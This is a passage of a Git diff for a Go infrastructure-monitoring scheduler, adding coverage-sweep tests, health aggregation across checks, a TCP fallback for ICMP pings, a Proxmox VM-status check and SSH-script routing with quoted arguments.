coverageSweep(ctx, pool)
|
||||
coverageSweep(ctx, pool)
|
||||
coverageSweep(ctx, pool)
|
||||
|
||||
count, occurrences := openSignals(t, pool, ids["unmonitored-svc"])
|
||||
if count != 1 {
|
||||
t.Errorf("three sweeps produced %d signals, want 1", count)
|
||||
}
|
||||
if occurrences != 3 {
|
||||
t.Errorf("occurrence_count = %d after three sweeps, want 3", occurrences)
|
||||
}
|
||||
}
|
||||
|
||||
func TestCoverageSweepResolvesWhenACheckAppears(t *testing.T) {
|
||||
pool := newCoveragePool(t)
|
||||
ids := coverageFixture(t, pool)
|
||||
ctx := context.Background()
|
||||
|
||||
coverageSweep(ctx, pool)
|
||||
if count, _ := openSignals(t, pool, ids["unmonitored-svc"]); count != 1 {
|
||||
t.Fatalf("expected an open signal before the check is added, got %d", count)
|
||||
}
|
||||
|
||||
// The entity acquires a check. The scheduler's normal auto-resolve keys on
|
||||
// the check entity id and only from 'raised', so it could never clear this.
|
||||
checkID := uuid.New()
|
||||
if _, err := pool.Exec(ctx,
|
||||
// entities has a unique (type, name), so this cannot reuse the
|
||||
// fixture check's name.
|
||||
`INSERT INTO entities (id, slug, type, name, state, attributes, version, created_at, updated_at)
|
||||
VALUES ($1,'check:t:unmonitored-svc:0','check','c-unmonitored-svc','active','{}',1,now(),now())`, checkID); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if _, err := pool.Exec(ctx,
|
||||
`INSERT INTO check_defs (entity_id, target_id, kind, config, interval_s, timeout_s, enabled)
|
||||
VALUES ($1,$2,'http','{}',60,30,true)`, checkID, ids["unmonitored-svc"]); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
coverageSweep(ctx, pool)
|
||||
|
||||
if count, _ := openSignals(t, pool, ids["unmonitored-svc"]); count != 0 {
|
||||
t.Errorf("signal should have resolved once the entity had a check, %d still open", count)
|
||||
}
|
||||
}
|
||||
|
||||
// Against the real ontology and inventory rather than a fixture: the sweep
|
||||
// must stay silent for types that opted out and speak up for the genuine gaps.
|
||||
// Asserted as properties, not exact counts, so it does not break every time
|
||||
// the fleet changes.
|
||||
func TestCoverageSweepAgainstTheRealSeed(t *testing.T) {
|
||||
pool := newCoveragePool(t)
|
||||
ctx := context.Background()
|
||||
|
||||
for _, f := range []string{"ontology.yaml", "inventory.yaml", "policy.yaml"} {
|
||||
content, err := os.ReadFile("../../seeds/" + f)
|
||||
if err != nil {
|
||||
t.Fatalf("read %s: %v", f, err)
|
||||
}
|
||||
err = pool.SeedIngest(ctx, f, content,
|
||||
func(ctx context.Context, tx pgx.Tx, data map[string]any) error {
|
||||
switch f {
|
||||
case "ontology.yaml":
|
||||
_, err := db.IngestOntologySeed(ctx, tx, data)
|
||||
return err
|
||||
case "inventory.yaml":
|
||||
_, err := db.IngestInventorySeed(ctx, tx, data)
|
||||
return err
|
||||
default:
|
||||
_, err := db.IngestPolicySeed(ctx, tx, data)
|
||||
return err
|
||||
}
|
||||
})
|
||||
if err != nil {
|
||||
t.Fatalf("ingest %s: %v", f, err)
|
||||
}
|
||||
}
|
||||
|
||||
coverageSweep(ctx, pool)
|
||||
|
||||
flagged := map[string]int{}
|
||||
rows, err := pool.Query(ctx, `
|
||||
SELECT e.type, count(*)
|
||||
FROM signals s JOIN entities e ON e.id = s.target_entity_id
|
||||
WHERE s.kind = $1 AND s.state NOT IN ('resolved','failed')
|
||||
GROUP BY e.type`, UnmonitoredKind)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
for rows.Next() {
|
||||
var typ string
|
||||
var n int
|
||||
if err := rows.Scan(&typ, &n); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
flagged[typ] = n
|
||||
}
|
||||
rows.Close()
|
||||
|
||||
t.Logf("unmonitored signals by entity type: %v", flagged)
|
||||
|
||||
// Declared `monitoring: none` — flagging these would be a permanent,
|
||||
// unresolvable false positive, which is the failure mode that would make
|
||||
// the signal worthless.
|
||||
for _, typ := range []string{"site", "lan", "mesh", "cluster"} {
|
||||
if n := flagged[typ]; n != 0 {
|
||||
t.Errorf("%s declares monitoring: none but %d were flagged unmonitored", typ, n)
|
||||
}
|
||||
}
|
||||
|
||||
// Types that now get real checks must not be flagged either.
|
||||
for _, typ := range []string{"service", "lxc", "ingress-route", "proxmox-host"} {
|
||||
if n := flagged[typ]; n != 0 {
|
||||
t.Errorf("%s should be covered by checkdefaults, but %d were flagged", typ, n)
|
||||
}
|
||||
}
|
||||
|
||||
// Genuine gaps: no `dns` checker, no edge from a pool to its machine.
|
||||
for _, typ := range []string{"dns-zone", "storage-pool"} {
|
||||
if flagged[typ] == 0 {
|
||||
t.Errorf("%s is a known gap and should have been flagged", typ)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// A resolved signal must be re-raisable. The (target, kind) partial unique
|
||||
// index only covers open signals, so a resolved row does not conflict there —
|
||||
// it collides on the primary key instead, which is why the upsert targets the
|
||||
// PK.
|
||||
func TestCoverageSweepReRaisesAfterResolution(t *testing.T) {
|
||||
pool := newCoveragePool(t)
|
||||
ids := coverageFixture(t, pool)
|
||||
ctx := context.Background()
|
||||
|
||||
coverageSweep(ctx, pool)
|
||||
if _, err := pool.Exec(ctx,
|
||||
`UPDATE signals SET state='resolved' WHERE target_entity_id=$1 AND kind=$2`,
|
||||
ids["unmonitored-svc"], UnmonitoredKind); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
coverageSweep(ctx, pool)
|
||||
|
||||
count, _ := openSignals(t, pool, ids["unmonitored-svc"])
|
||||
if count != 1 {
|
||||
t.Errorf("a resolved signal should be re-raisable, got %d open", count)
|
||||
}
|
||||
}
|
||||
25
internal/scheduler/reachability_test.go
Normal file
25
internal/scheduler/reachability_test.go
Normal file
@@ -0,0 +1,25 @@
|
||||
package scheduler
|
||||
|
||||
import (
|
||||
"context"
|
||||
"testing"
|
||||
"time"
|
||||
)
|
||||
|
||||
// The scheduler runs in Docker on macOS, whose VM does not route ICMP to the
|
||||
// LAN — every ping check reported "down" for hosts that were demonstrably up.
|
||||
// tcpReachable is the fallback that keeps "is it reachable" answerable.
|
||||
func TestTCPReachableAnswersWhenICMPCannot(t *testing.T) {
|
||||
ctx := context.Background()
|
||||
// localhost:22 is open on this machine (sshd), and port 1 is not.
|
||||
if !tcpReachable(ctx, "127.0.0.1", 22, 3*time.Second) {
|
||||
t.Skip("no sshd on localhost — cannot exercise the positive case")
|
||||
}
|
||||
if tcpReachable(ctx, "127.0.0.1", 1, 1*time.Second) {
|
||||
t.Error("port 1 should not be reachable")
|
||||
}
|
||||
// Defaults to 22 when unset, which is what checkdefaults' ping configs use.
|
||||
if !tcpReachable(ctx, "127.0.0.1", 0, 3*time.Second) {
|
||||
t.Error("port 0 should default to 22")
|
||||
}
|
||||
}
|
||||
@@ -16,12 +16,14 @@ import (
|
||||
"regexp"
|
||||
"runtime"
|
||||
"strconv"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/dtoro/oikos/internal/config"
|
||||
"github.com/dtoro/oikos/internal/db"
|
||||
"github.com/dtoro/oikos/internal/db/sqlcgen"
|
||||
"github.com/dtoro/oikos/internal/observability"
|
||||
"github.com/dtoro/oikos/internal/remote"
|
||||
"github.com/google/uuid"
|
||||
"golang.org/x/sync/errgroup"
|
||||
"golang.org/x/sys/unix"
|
||||
@@ -73,7 +75,12 @@ func runCheckPass(ctx context.Context, pool *db.Pool) {
|
||||
return
|
||||
}
|
||||
if len(defs) == 0 {
|
||||
// Still run housekeeping: a fleet with no enabled check_defs is
|
||||
// precisely the case coverageSweep exists to report, and returning
|
||||
// here would mean the one situation that most needs reporting is the
|
||||
// one situation that stays silent.
|
||||
slog.Debug("scheduler: no enabled check_defs")
|
||||
housekeeping(ctx, pool)
|
||||
return
|
||||
}
|
||||
|
||||
@@ -105,7 +112,22 @@ func runCheck(ctx context.Context, pool *db.Pool, cd sqlcgen.ListEnabledCheckDef
|
||||
q := sqlcgen.New(pool)
|
||||
start := time.Now()
|
||||
|
||||
result := executeCheck(ctx, cd)
|
||||
result := executeCheck(ctx, pool, cd)
|
||||
|
||||
// Stamp the run before processing the result: due-ness must advance even
|
||||
// when a check fails, or a permanently failing check would be re-run on
|
||||
// every pass instead of at its declared interval. last_health records THIS
|
||||
// check's own verdict, which is what makes the aggregation below possible.
|
||||
checkHealth := result.health
|
||||
if checkHealth == "" {
|
||||
checkHealth = "healthy"
|
||||
}
|
||||
if err := q.MarkCheckRun(ctx, sqlcgen.MarkCheckRunParams{
|
||||
EntityID: cd.EntityID,
|
||||
LastHealth: &checkHealth,
|
||||
}); err != nil {
|
||||
slog.Error("scheduler: mark check run", "entity", cd.EntitySlug, "error", err)
|
||||
}
|
||||
|
||||
latency := time.Since(start).Milliseconds()
|
||||
|
||||
@@ -137,16 +159,12 @@ func runCheck(ctx context.Context, pool *db.Pool, cd sqlcgen.ListEnabledCheckDef
|
||||
|
||||
if result.signalKind == "" || result.health == "healthy" {
|
||||
resolveSignal(ctx, pool, cd.EntityID, targetID, cd.EntitySlug)
|
||||
_ = q.UpsertEntityStatus(ctx, sqlcgen.UpsertEntityStatusParams{
|
||||
EntityID: targetID,
|
||||
Health: "healthy",
|
||||
LastCheckAt: &[]time.Time{time.Now()}[0],
|
||||
Details: []byte(`{}`),
|
||||
})
|
||||
if prevHealth != "" && prevHealth != "healthy" {
|
||||
emitSchedulerEvent(ctx, pool, "health.changed", targetID, "info",
|
||||
map[string]any{"slug": cd.EntitySlug, "from": prevHealth, "to": "healthy"})
|
||||
}
|
||||
// NOT unconditionally "healthy": this check passing says nothing about
|
||||
// the entity's other checks. Writing healthy here is what let one
|
||||
// passing probe erase a genuine failure reported by another — and,
|
||||
// alternating with a failing probe, produced 226 health flips an hour
|
||||
// on a host that was fine throughout.
|
||||
applyAggregateHealth(ctx, pool, q, targetID, cd.EntitySlug, prevHealth)
|
||||
return
|
||||
}
|
||||
|
||||
@@ -167,22 +185,52 @@ func runCheck(ctx context.Context, pool *db.Pool, cd sqlcgen.ListEnabledCheckDef
|
||||
return
|
||||
}
|
||||
|
||||
_ = q.UpsertEntityStatus(ctx, sqlcgen.UpsertEntityStatusParams{
|
||||
EntityID: targetID,
|
||||
Health: result.health,
|
||||
LastCheckAt: &[]time.Time{time.Now()}[0],
|
||||
Details: []byte(`{}`),
|
||||
})
|
||||
_ = sig
|
||||
|
||||
if prevHealth == "" || prevHealth == "healthy" {
|
||||
emitSchedulerEvent(ctx, pool, "signal.raised", targetID, severity,
|
||||
map[string]any{"slug": cd.EntitySlug, "kind": result.signalKind, "evidence": result.evidence})
|
||||
}
|
||||
if prevHealth != result.health {
|
||||
emitSchedulerEvent(ctx, pool, "health.changed", targetID, severity,
|
||||
map[string]any{"slug": cd.EntitySlug, "from": prevHealth, "to": result.health})
|
||||
applyAggregateHealth(ctx, pool, q, targetID, cd.EntitySlug, prevHealth)
|
||||
}
|
||||
|
||||
// applyAggregateHealth sets the target's health to the worst verdict across
|
||||
// all of its enabled checks, and emits health.changed only when that aggregate
|
||||
// actually moves.
|
||||
//
|
||||
// Health is a property of the entity, but each check only ever observes one
|
||||
// facet of it — reachability, disk, a systemd unit. Letting whichever check
|
||||
// finished last overwrite the entity's health meant a host with six checks
|
||||
// reported whichever facet was sampled most recently, so one failing probe and
|
||||
// five passing ones oscillated forever instead of settling on "degraded".
|
||||
func applyAggregateHealth(ctx context.Context, pool *db.Pool, q *sqlcgen.Queries,
|
||||
targetID uuid.UUID, checkSlug, prevHealth string) {
|
||||
|
||||
health, err := q.WorstHealthForTarget(ctx, &targetID)
|
||||
if err != nil {
|
||||
slog.Error("scheduler: aggregate health", "entity", checkSlug, "error", err)
|
||||
return
|
||||
}
|
||||
|
||||
_ = q.UpsertEntityStatus(ctx, sqlcgen.UpsertEntityStatusParams{
|
||||
EntityID: targetID,
|
||||
Health: health,
|
||||
LastCheckAt: &[]time.Time{time.Now()}[0],
|
||||
Details: []byte(`{}`),
|
||||
})
|
||||
|
||||
if prevHealth == health {
|
||||
return
|
||||
}
|
||||
severity := "info"
|
||||
switch health {
|
||||
case "down":
|
||||
severity = "critical"
|
||||
case "degraded", "stale":
|
||||
severity = "warning"
|
||||
}
|
||||
emitSchedulerEvent(ctx, pool, "health.changed", targetID, severity,
|
||||
map[string]any{"slug": checkSlug, "from": prevHealth, "to": health})
|
||||
}
|
||||
|
||||
// currentHealth reads the last recorded health for an entity, or "" if none.
|
||||
@@ -204,7 +252,6 @@ func emitSchedulerEvent(ctx context.Context, pool *db.Pool, eventType string, en
|
||||
// checkID matches how signals are keyed (UpsertSignal uses the check's own
|
||||
// entity id); targetID is the observed entity whose status this affects.
|
||||
func resolveSignal(ctx context.Context, pool *db.Pool, checkID, targetID uuid.UUID, slug string) {
|
||||
q := sqlcgen.New(pool)
|
||||
// Check if there's an open signal on this entity
|
||||
tag, err := pool.Exec(ctx, `UPDATE signals SET state = 'resolved', updated_at = now()
|
||||
WHERE entity_id = $1 AND state = 'raised'`, checkID)
|
||||
@@ -214,14 +261,12 @@ func resolveSignal(ctx context.Context, pool *db.Pool, checkID, targetID uuid.UU
|
||||
if tag.RowsAffected() > 0 {
|
||||
emitSchedulerEvent(ctx, pool, "signal.resolved", targetID, "info",
|
||||
map[string]any{"slug": slug})
|
||||
slog.Info("scheduler: signal resolved", "entity", slug)
|
||||
}
|
||||
_ = q.UpsertEntityStatus(ctx, sqlcgen.UpsertEntityStatusParams{
|
||||
EntityID: targetID,
|
||||
Health: "healthy",
|
||||
LastCheckAt: &[]time.Time{time.Now()}[0],
|
||||
Details: []byte(`{}`),
|
||||
})
|
||||
slog.Info("scheduler: signal resolved", "entity", slug)
|
||||
// Deliberately does NOT write health. Resolving THIS check's signal says
|
||||
// nothing about the target's other checks; the caller re-derives health
|
||||
// from all of them. Forcing "healthy" here was a second path by which one
|
||||
// passing probe erased another probe's genuine failure.
|
||||
}
|
||||
|
||||
// checkResult bundles the outcome of a single check execution.
|
||||
@@ -233,8 +278,10 @@ type checkResult struct {
|
||||
err error
|
||||
}
|
||||
|
||||
// executeCheck dispatches to the appropriate checker by kind.
|
||||
func executeCheck(ctx context.Context, cd sqlcgen.ListEnabledCheckDefsRow) checkResult {
|
||||
// executeCheck dispatches to the appropriate checker by kind. pool is needed
|
||||
// by the ssh-script path, which resolves the target's execution endpoint
|
||||
// (guests route through their Proxmox host; see internal/remote).
|
||||
func executeCheck(ctx context.Context, pool *db.Pool, cd sqlcgen.ListEnabledCheckDefsRow) checkResult {
|
||||
switch cd.Kind {
|
||||
case "http":
|
||||
return checkHTTP(ctx, cd)
|
||||
@@ -244,10 +291,14 @@ func executeCheck(ctx context.Context, cd sqlcgen.ListEnabledCheckDefsRow) check
|
||||
return checkDisk(ctx, cd)
|
||||
case "cert-expiry":
|
||||
return checkCertExpiry(ctx, cd)
|
||||
case "vm-status":
|
||||
return checkVMStatus(ctx, pool, cd)
|
||||
case "ping":
|
||||
return checkPing(ctx, cd)
|
||||
case "ssh-script":
|
||||
return checkSSHScript(ctx, cd)
|
||||
return checkSSHScript(ctx, pool, cd)
|
||||
case "backup-freshness":
|
||||
return checkBackupFreshness(ctx, cd)
|
||||
default:
|
||||
return checkResult{health: "unknown"}
|
||||
}
|
||||
@@ -265,6 +316,7 @@ func housekeeping(ctx context.Context, pool *db.Pool) {
|
||||
}
|
||||
|
||||
staleSweep(ctx, pool)
|
||||
coverageSweep(ctx, pool)
|
||||
|
||||
// Log housekeeping completion
|
||||
slog.Debug("scheduler: housekeeping done", "pruned_idempotency_before", cutoff.Format(time.RFC3339))
|
||||
@@ -337,9 +389,14 @@ func checkHTTP(ctx context.Context, cd sqlcgen.ListEnabledCheckDefsRow) checkRes
|
||||
cfg := struct {
|
||||
URL string `json:"url"`
|
||||
ExpectedStatus int `json:"expected_status"`
|
||||
Insecure bool `json:"insecure"`
|
||||
// MaxStatus accepts a range instead of one exact code. Most services
|
||||
// sit behind Authentik and answer 302 or 401 — a working service, but
|
||||
// an exact-match on 200 reports it degraded and raises a signal.
|
||||
// Unset expected_status means "any response below MaxStatus is fine".
|
||||
MaxStatus int `json:"max_status"`
|
||||
Insecure bool `json:"insecure"`
|
||||
}{
|
||||
ExpectedStatus: 200,
|
||||
MaxStatus: 500,
|
||||
}
|
||||
if len(cd.Config) > 0 {
|
||||
_ = json.Unmarshal(cd.Config, &cfg)
|
||||
@@ -379,10 +436,17 @@ func checkHTTP(ctx context.Context, cd sqlcgen.ListEnabledCheckDefsRow) checkRes
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
|
||||
if resp.StatusCode != cfg.ExpectedStatus {
|
||||
if cfg.ExpectedStatus != 0 {
|
||||
if resp.StatusCode != cfg.ExpectedStatus {
|
||||
return checkResult{
|
||||
health: "degraded", signalKind: "http",
|
||||
evidence: fmt.Sprintf("GET %s returned %d (expected %d)", cfg.URL, resp.StatusCode, cfg.ExpectedStatus),
|
||||
}
|
||||
}
|
||||
} else if resp.StatusCode >= cfg.MaxStatus {
|
||||
return checkResult{
|
||||
health: "degraded", signalKind: "http",
|
||||
evidence: fmt.Sprintf("GET %s returned %d (expected %d)", cfg.URL, resp.StatusCode, cfg.ExpectedStatus),
|
||||
evidence: fmt.Sprintf("GET %s returned %d (expected below %d)", cfg.URL, resp.StatusCode, cfg.MaxStatus),
|
||||
}
|
||||
}
|
||||
|
||||
@@ -462,8 +526,8 @@ func checkDisk(ctx context.Context, cd sqlcgen.ListEnabledCheckDefsRow) checkRes
|
||||
if usedPct > float64(cfg.ThresholdPct) {
|
||||
return checkResult{
|
||||
health: "degraded", signalKind: "disk",
|
||||
evidence: fmt.Sprintf("%s %.1f%% full (threshold %d%%)", cfg.Path, usedPct, cfg.ThresholdPct),
|
||||
metrics: metrics,
|
||||
evidence: fmt.Sprintf("%s %.1f%% full (threshold %d%%)", cfg.Path, usedPct, cfg.ThresholdPct),
|
||||
metrics: metrics,
|
||||
}
|
||||
}
|
||||
|
||||
@@ -474,6 +538,12 @@ func checkDisk(ctx context.Context, cd sqlcgen.ListEnabledCheckDefsRow) checkRes
|
||||
func checkCertExpiry(ctx context.Context, cd sqlcgen.ListEnabledCheckDefsRow) checkResult {
|
||||
cfg := struct {
|
||||
Host string `json:"host"`
|
||||
// Dial is an optional explicit dial address (the TLS terminator's IP)
|
||||
// for when the hostname doesn't resolve/reach from the scheduler — the
|
||||
// container has no mesh interface and the host resolver doesn't know
|
||||
// the split-horizon zone, so *.hubris.network dials Caddy's lab IP
|
||||
// directly while SNI/cert-read still uses Host.
|
||||
Dial string `json:"dial"`
|
||||
Port int `json:"port"`
|
||||
WarnDays int `json:"warn_days"`
|
||||
CritDays int `json:"crit_days"`
|
||||
@@ -494,9 +564,13 @@ func checkCertExpiry(ctx context.Context, cd sqlcgen.ListEnabledCheckDefsRow) ch
|
||||
timeout = 30 * time.Second
|
||||
}
|
||||
|
||||
addr := net.JoinHostPort(cfg.Host, fmt.Sprintf("%d", cfg.Port))
|
||||
dialHost := cfg.Host
|
||||
if cfg.Dial != "" {
|
||||
dialHost = cfg.Dial
|
||||
}
|
||||
addr := net.JoinHostPort(dialHost, fmt.Sprintf("%d", cfg.Port))
|
||||
|
||||
d := tls.Dialer{Config: &tls.Config{InsecureSkipVerify: true}}
|
||||
d := tls.Dialer{Config: &tls.Config{InsecureSkipVerify: true, ServerName: cfg.Host}}
|
||||
conn, err := d.DialContext(ctx, "tcp", addr)
|
||||
if err != nil {
|
||||
return checkResult{
|
||||
@@ -541,11 +615,61 @@ func checkCertExpiry(ctx context.Context, cd sqlcgen.ListEnabledCheckDefsRow) ch
|
||||
return checkResult{health: "healthy", metrics: metrics}
|
||||
}
|
||||
|
||||
// checkVMStatus reports whether a VM is powered on, via `qm status <pve_id>`
|
||||
// run on its Proxmox host. This is the right reachability probe for a VM that
|
||||
// blocks ICMP (haos) and has no guest agent: it doesn't need the VM's network
|
||||
// at all — "status: running" means the VM is up. The command runs on the host
|
||||
// (not inside the VM), so it uses the host's address with identity wrap.
|
||||
func checkVMStatus(ctx context.Context, pool *db.Pool, cd sqlcgen.ListEnabledCheckDefsRow) checkResult {
|
||||
if cd.TargetID == nil {
|
||||
return checkResult{health: "unknown", evidence: "vm-status needs a target VM"}
|
||||
}
|
||||
var pveID, hostAttr string
|
||||
if err := pool.QueryRow(ctx,
|
||||
"SELECT attributes->>'pve_id', COALESCE(attributes->>'host','') FROM entities WHERE id = $1",
|
||||
*cd.TargetID).Scan(&pveID, &hostAttr); err != nil || pveID == "" {
|
||||
return checkResult{health: "unknown", signalKind: "vm-status",
|
||||
evidence: fmt.Sprintf("vm %s has no pve_id", cd.EntitySlug)}
|
||||
}
|
||||
hostSlug := remote.ResolveProxmoxHostSlug(ctx, pool, *cd.TargetID, hostAttr)
|
||||
addr, user, err := remote.ResolveHost(ctx, pool, hostSlug, sshUser)
|
||||
if err != nil {
|
||||
return checkResult{health: "down", signalKind: "vm-status",
|
||||
evidence: fmt.Sprintf("resolve proxmox host for %s: %v", cd.EntitySlug, err), err: err}
|
||||
}
|
||||
|
||||
timeout := time.Duration(cd.TimeoutS) * time.Second
|
||||
if timeout <= 0 {
|
||||
timeout = 15 * time.Second
|
||||
}
|
||||
ctx, cancel := context.WithTimeout(ctx, timeout)
|
||||
defer cancel()
|
||||
|
||||
out, err := sshExec(ctx, addr, "22", user, "qm status "+pveID, timeout)
|
||||
if err != nil {
|
||||
return checkResult{health: "down", signalKind: "vm-status",
|
||||
evidence: fmt.Sprintf("qm status %s on %s: %v", pveID, addr, err), err: err}
|
||||
}
|
||||
// `qm status <id>` prints "status: running" (or stopped/paused).
|
||||
if strings.Contains(string(out), "status: running") {
|
||||
return checkResult{health: "healthy"}
|
||||
}
|
||||
trimmed := strings.TrimSpace(string(out))
|
||||
if trimmed == "" {
|
||||
trimmed = "(no output)"
|
||||
}
|
||||
return checkResult{health: "down", signalKind: "vm-status",
|
||||
evidence: fmt.Sprintf("%s not running: %s", cd.EntitySlug, trimmed)}
|
||||
}
|
||||
|
||||
// checkPing performs an ICMP ping check using the system ping command.
|
||||
func checkPing(ctx context.Context, cd sqlcgen.ListEnabledCheckDefsRow) checkResult {
|
||||
cfg := struct {
|
||||
Host string `json:"host"`
|
||||
Count int `json:"count"`
|
||||
// Port for the TCP fallback below. Defaults to 22; set it for hosts
|
||||
// that answer on something else (a Home Assistant VM has no sshd).
|
||||
Port int `json:"port"`
|
||||
}{}
|
||||
if len(cd.Config) > 0 {
|
||||
_ = json.Unmarshal(cd.Config, &cfg)
|
||||
@@ -579,9 +703,26 @@ func checkPing(ctx context.Context, cd sqlcgen.ListEnabledCheckDefsRow) checkRes
|
||||
|
||||
output, err := cmd.Output()
|
||||
if err != nil {
|
||||
// ICMP failing does not mean the host is down — it may mean ICMP is
|
||||
// simply unavailable from here. On this deployment the scheduler runs
|
||||
// in Docker on macOS, whose VM network stack does not route ICMP to
|
||||
// the LAN: loopback pings succeed, every LAN ping fails, and all seven
|
||||
// ping checks reported "down" for hosts that were demonstrably up
|
||||
// (including the Docker host itself). Under health aggregation that one
|
||||
// broken probe was enough to drag each entity to down.
|
||||
//
|
||||
// The question this check exists to answer is "is it reachable", and
|
||||
// ICMP is only one way to ask. Fall back to a TCP connect before
|
||||
// concluding anything.
|
||||
if tcpReachable(ctx, cfg.Host, cfg.Port, timeout) {
|
||||
return checkResult{
|
||||
health: "healthy",
|
||||
metrics: map[string]float64{},
|
||||
}
|
||||
}
|
||||
return checkResult{
|
||||
health: "down", signalKind: "ping",
|
||||
evidence: fmt.Sprintf("ping %s: %v", cfg.Host, err),
|
||||
evidence: fmt.Sprintf("no ICMP or TCP response from %s: %v", cfg.Host, err),
|
||||
err: err,
|
||||
}
|
||||
}
|
||||
@@ -595,6 +736,24 @@ func checkPing(ctx context.Context, cd sqlcgen.ListEnabledCheckDefsRow) checkRes
|
||||
return checkResult{health: "healthy", metrics: metrics}
|
||||
}
|
||||
|
||||
// tcpReachable reports whether a TCP handshake completes, used as the
|
||||
// reachability answer when ICMP is unavailable rather than unanswered.
|
||||
func tcpReachable(ctx context.Context, host string, port int, timeout time.Duration) bool {
|
||||
if port == 0 {
|
||||
port = 22
|
||||
}
|
||||
if timeout <= 0 {
|
||||
timeout = 5 * time.Second
|
||||
}
|
||||
d := net.Dialer{Timeout: timeout}
|
||||
conn, err := d.DialContext(ctx, "tcp", net.JoinHostPort(host, strconv.Itoa(port)))
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
conn.Close()
|
||||
return true
|
||||
}
|
||||
|
||||
var pingRttRe = regexp.MustCompile(`(?:rtt\s+min\/avg\/max\/mdev|round-trip\s+min\/avg\/max\/stddev)\s*=\s*[\d.]+\/([\d.]+)\/`)
|
||||
|
||||
func parsePingLatency(output []byte) float64 {
|
||||
@@ -609,13 +768,26 @@ func parsePingLatency(output []byte) float64 {
|
||||
return val
|
||||
}
|
||||
|
||||
// checkSSHScript executes an allowlisted script on a remote host via SSH.
|
||||
func checkSSHScript(ctx context.Context, cd sqlcgen.ListEnabledCheckDefsRow) checkResult {
|
||||
// checkSSHScript executes an allowlisted script on a remote target via SSH.
|
||||
//
|
||||
// Routing follows the canonical access model (internal/remote): an LXC or VM
|
||||
// is NEVER SSH'd into directly — it is reached through its Proxmox host via
|
||||
// `pct exec`/`qm guest exec`, so a guest needs no lan_ip, sshd, or authorized
|
||||
// key of its own. Hosts and workstations are reached by direct SSH, resolved
|
||||
// live so a workstation's login (mac-mini: `user: dtoro`) is honored without
|
||||
// a re-seed. Services and other entities fall back to the host address baked
|
||||
// into check config at seed time (their hosting container's address).
|
||||
func checkSSHScript(ctx context.Context, pool *db.Pool, cd sqlcgen.ListEnabledCheckDefsRow) checkResult {
|
||||
cfg := struct {
|
||||
Host string `json:"host"`
|
||||
Port int `json:"port"`
|
||||
User string `json:"user"`
|
||||
Script string `json:"script"`
|
||||
// Args is a single positional argument for the script. checkdefaults
|
||||
// has always written it for process_check.sh, but nothing read it —
|
||||
// so every process check ran argument-less and process_check.sh
|
||||
// answered "no service name provided" with health unknown.
|
||||
Args string `json:"args"`
|
||||
}{}
|
||||
if len(cd.Config) > 0 {
|
||||
_ = json.Unmarshal(cd.Config, &cfg)
|
||||
@@ -623,12 +795,6 @@ func checkSSHScript(ctx context.Context, cd sqlcgen.ListEnabledCheckDefsRow) che
|
||||
if cfg.Host == "" || cfg.Script == "" {
|
||||
return checkResult{health: "healthy"}
|
||||
}
|
||||
if cfg.Port == 0 {
|
||||
cfg.Port = 22
|
||||
}
|
||||
if cfg.User == "" {
|
||||
cfg.User = sshUser
|
||||
}
|
||||
|
||||
if !allowlistedScript(cfg.Script) {
|
||||
return checkResult{
|
||||
@@ -646,13 +812,56 @@ func checkSSHScript(ctx context.Context, cd sqlcgen.ListEnabledCheckDefsRow) che
|
||||
defer cancel()
|
||||
|
||||
scriptPath := "/opt/oikos/checks/" + cfg.Script
|
||||
port := strconv.Itoa(cfg.Port)
|
||||
if cfg.Args != "" {
|
||||
// Single-quote the argument so an entity name can never break out of
|
||||
// the remote command. The script name itself is allowlisted above.
|
||||
scriptPath += " '" + strings.ReplaceAll(cfg.Args, "'", `'\''`) + "'"
|
||||
}
|
||||
|
||||
output, err := sshExec(ctx, cfg.Host, port, cfg.User, scriptPath, timeout)
|
||||
// Resolve the execution endpoint. The resolver handles every target kind:
|
||||
// LXC/VM host-hop via pct/qm exec; hosts/workstations direct at their own
|
||||
// address; services route through their hosting compute entity (via the
|
||||
// provides edge) so a service check reaches the right machine with the
|
||||
// right user instead of baking an LXC lan_ip and SSHing it as root.
|
||||
host, port, user := cfg.Host, strconv.Itoa(oru(cfg.Port, 22)), orStr(cfg.User, sshUser)
|
||||
wrap := func(cmd string) string { return cmd }
|
||||
targetType := ""
|
||||
if cd.TargetType != nil {
|
||||
targetType = *cd.TargetType
|
||||
}
|
||||
// target_type was omitted by older writeCheck inserts, so resolve it from
|
||||
// the target entity when the column is blank — otherwise the guest routing
|
||||
// below (IsGuest) never triggers and a guest check falls back to its baked
|
||||
// (often mesh-only) address.
|
||||
if targetType == "" && cd.TargetID != nil {
|
||||
if err := pool.QueryRow(ctx, "SELECT type FROM entities WHERE id = $1", *cd.TargetID).Scan(&targetType); err != nil {
|
||||
targetType = ""
|
||||
}
|
||||
}
|
||||
if cd.TargetID != nil && targetType != "" {
|
||||
et, err := remote.ResolveExecTargetForCheck(ctx, pool, *cd.TargetID, targetType, sshUser)
|
||||
if err != nil {
|
||||
if remote.IsGuest(targetType) {
|
||||
return checkResult{
|
||||
health: "down", signalKind: "ssh-script",
|
||||
evidence: fmt.Sprintf("route guest %s: %v", cd.EntitySlug, err), err: err,
|
||||
}
|
||||
}
|
||||
// Non-guest: log the resolution failure so an opaque ssh "down"
|
||||
// doesn't hide that the real cause was host/user resolution, then
|
||||
// fall back to the baked config below.
|
||||
slog.Warn("scheduler: target resolution failed, using baked config",
|
||||
"entity", cd.EntitySlug, "target_type", targetType, "error", err)
|
||||
} else {
|
||||
host, port, user, wrap = et.Host, "22", et.User, et.Wrap
|
||||
}
|
||||
}
|
||||
|
||||
output, err := sshExec(ctx, host, port, user, wrap(scriptPath), timeout)
|
||||
if err != nil {
|
||||
return checkResult{
|
||||
health: "down", signalKind: "ssh-script",
|
||||
evidence: fmt.Sprintf("ssh %s:%s %s: %v", cfg.Host, strconv.Itoa(cfg.Port), cfg.Script, err),
|
||||
evidence: fmt.Sprintf("ssh %s:%s %s: %v", host, port, cfg.Script, err),
|
||||
err: err,
|
||||
}
|
||||
}
|
||||
@@ -690,6 +899,20 @@ func checkSSHScript(ctx context.Context, cd sqlcgen.ListEnabledCheckDefsRow) che
|
